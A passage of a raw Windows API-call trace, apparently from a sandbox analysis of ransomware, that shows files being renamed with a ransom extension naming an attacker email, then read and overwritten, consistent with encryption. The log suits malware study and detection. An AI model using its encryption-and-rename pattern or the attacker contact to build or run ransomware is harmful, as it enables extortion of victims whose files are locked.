"c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\et-ee\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0217.356] CloseHandle (hObject=0x714) returned 1 [0217.356] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0217.356] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\et-EE\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\et-ee\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\et-EE\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\et-ee\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0217.357] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0217.357] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\et-EE\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fc6c | out: lpFindFileData=0x447fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ea24eee, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ea24eee, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x187, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5280 [0217.357] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0217.357] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\et-EE\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\et-ee\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0217.357] GetProcessHeap () returned 0x630000 [0217.357] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x66a3e0 [0217.357] GetProcessHeap () returned 0x630000 [0217.357] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x691808 [0217.357] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.357] ReadFile (in: hFile=0x714, lpBuffer=0x66a3e0, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x66a3e0*, lpNumberOfBytesRead=0x447ff0c*=0x180, lpOverlapped=0x0) returned 1 [0217.360] GetProcessHeap () returned 0x630000 [0217.360] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317b80 [0217.360] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.360] WriteFile (in: hFile=0x714, lpBuffer=0x691808*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x691808*, lpNumberOfBytesWritten=0x447ff0c*=0x180, lpOverlapped=0x0) returned 1 [0217.360] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.360] WriteFile (in: hFile=0x714, lpBuffer=0x691987*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x691987*, lpNumberOfBytesWritten=0x447ff0c*=0x20, lpOverlapped=0x0) returned 1 [0217.360] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.360] WriteFile (in: hFile=0x714, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x447ff0c*=0x4, lpOverlapped=0x0) returned 1 [0217.360] CloseHandle (hObject=0x714) returned 1 [0217.360] GetProcessHeap () returned 0x630000 [0217.360] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x691808 | out: hHeap=0x630000) returned 1 [0217.360] GetProcessHeap () returned 0x630000 [0217.361] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66a3e0 | out: hHeap=0x630000) returned 1 [0217.361] GetProcessHeap () returned 0x630000 [0217.361] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317b80 | out: hHeap=0x630000) returned 1 [0217.361] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0217.361] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\et-EE\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fcc4 | out: lpFindFileData=0x447fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ea24eee, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ea24eee, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x47814a89, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1ab, dwReserved0=0xb687496, dwReserved1=0x66a3d8, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d51c0 [0217.361] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0217.361] Sleep (dwMilliseconds=0x1) [0218.997] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\he-IL\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x447ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\he-IL\\toastbeginupgrade.xml") returned 1 [0218.997] GetProcessHeap () returned 0x630000 [0218.997] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50e4) returned 0x6fe3bb0 [0218.997] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\he-IL\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\he-il\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0218.998] CloseHandle (hObject=0x69c) returned 1 [0218.998] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0218.998] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\he-IL\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\he-il\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\he-IL\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\he-il\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0218.999] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0218.999] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\he-IL\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fc6c | out: lpFindFileData=0x447fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x24b, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5400 [0218.999] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0218.999] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\he-IL\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\he-il\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0218.999] GetProcessHeap () returned 0x630000 [0218.999] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d8480 [0218.999] GetProcessHeap () returned 0x630000 [0218.999] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d77d8 [0218.999] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.999] ReadFile (in: hFile=0x69c, lpBuffer=0x6d8480, nNumberOfBytesToRead=0x240, lpNumberOfBytesRead=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d8480*, lpNumberOfBytesRead=0x447ff0c*=0x240, lpOverlapped=0x0) returned 1 [0219.003] GetProcessHeap () returned 0x630000 [0219.003] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318ad0 [0219.003] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.003] WriteFile (in: hFile=0x69c, lpBuffer=0x6d77d8*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d77d8*, lpNumberOfBytesWritten=0x447ff0c*=0x240, lpOverlapped=0x0) returned 1 [0219.003] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.003] WriteFile (in: hFile=0x69c, lpBuffer=0x6d7a17*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d7a17*, lpNumberOfBytesWritten=0x447ff0c*=0x20, lpOverlapped=0x0) returned 1 [0219.003] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.003] WriteFile (in: hFile=0x69c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x447ff0c*=0x4, lpOverlapped=0x0) returned 1 [0219.003] CloseHandle (hObject=0x69c) returned 1 [0219.003] GetProcessHeap () returned 0x630000 [0219.003] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d77d8 | out: hHeap=0x630000) returned 1 [0219.004] GetProcessHeap () returned 0x630000 [0219.004] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d8480 | out: hHeap=0x630000) returned 1 [0219.004] GetProcessHeap () returned 0x630000 [0219.004] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318ad0 | out: hHeap=0x630000) returned 1 [0219.004] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0219.004] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\he-IL\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fcc4 | out: lpFindFileData=0x447fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x487bc217, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x26f, dwReserved0=0x447fd20, dwReserved1=0x6d8480, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5340 [0219.004] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0219.004] Sleep (dwMilliseconds=0x1) [0220.401] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nb-NO\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x447ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nb-NO\\toastbeginupgrade.xml") returned 1 [0220.401] GetProcessHeap () returned 0x630000 [0220.401] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x512c) returned 0x6fe3bb0 [0220.401] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nb-NO\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nb-no\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0220.402] CloseHandle (hObject=0x4c0) returned 1 [0220.402] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0220.402] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nb-NO\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nb-no\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nb-NO\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nb-no\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0220.404] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0220.404] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nb-NO\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fc6c | out: lpFindFileData=0x447fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x23f, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5580 [0220.404] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0220.404] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nb-NO\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nb-no\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0220.404] GetProcessHeap () returned 0x630000 [0220.404] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x717e148 [0220.404] GetProcessHeap () returned 0x630000 [0220.404] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x699448 [0220.404] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.404] ReadFile (in: hFile=0x4c0, lpBuffer=0x717e148, nNumberOfBytesToRead=0x220, lpNumberOfBytesRead=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x717e148*, lpNumberOfBytesRead=0x447ff0c*=0x220, lpOverlapped=0x0) returned 1 [0220.408] GetProcessHeap () returned 0x630000 [0220.408] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73174f0 [0220.408] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.408] WriteFile (in: hFile=0x4c0, lpBuffer=0x699448*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x699448*, lpNumberOfBytesWritten=0x447ff0c*=0x220, lpOverlapped=0x0) returned 1 [0220.408] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.408] WriteFile (in: hFile=0x4c0, lpBuffer=0x699667*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x699667*, lpNumberOfBytesWritten=0x447ff0c*=0x20, lpOverlapped=0x0) returned 1 [0220.408] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.408] WriteFile (in: hFile=0x4c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x447ff0c*=0x4, lpOverlapped=0x0) returned 1 [0220.408] CloseHandle (hObject=0x4c0) returned 1 [0220.409] GetProcessHeap () returned 0x630000 [0220.409] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x699448 | out: hHeap=0x630000) returned 1 [0220.409] GetProcessHeap () returned 0x630000 [0220.409] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717e148 | out: hHeap=0x630000) returned 1 [0220.409] GetProcessHeap () returned 0x630000 [0220.409] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73174f0 | out: hHeap=0x630000) returned 1 [0220.409] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0220.409] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nb-NO\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fcc4 | out: lpFindFileData=0x447fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x495257fd, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0xb687496, dwReserved1=0x717e140, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5200 [0220.409] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0220.409] Sleep (dwMilliseconds=0x1) [0220.416] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nb-NO\\index.html", len=0x6f | out: pbstr=0x447ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nb-NO\\index.html") returned 1 [0220.416] GetProcessHeap () returned 0x630000 [0220.416] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5128) returned 0x6fe3bb0 [0220.416] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nb-NO\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nb-no\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0220.417] CloseHandle (hObject=0x4c0) returned 1 [0220.417] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0220.418] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nb-NO\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nb-no\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nb-NO\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nb-no\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0220.418] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0220.419] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nb-NO\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fc6c | out: lpFindFileData=0x447fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9653, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d52c0 [0220.419] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0220.419] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nb-NO\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nb-no\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0220.419] GetProcessHeap () returned 0x630000 [0220.419] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9661) returned 0x717648 [0220.419] GetProcessHeap () returned 0x630000 [0220.419] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9661) returned 0x739e580 [0220.419] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.419] ReadFile (in: hFile=0x4c0, lpBuffer=0x717648, nNumberOfBytesToRead=0x9640, lpNumberOfBytesRead=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x717648*, lpNumberOfBytesRead=0x447ff0c*=0x9640, lpOverlapped=0x0) returned 1 [0224.103] GetProcessHeap () returned 0x630000 [0224.103] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177948 [0224.103] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, 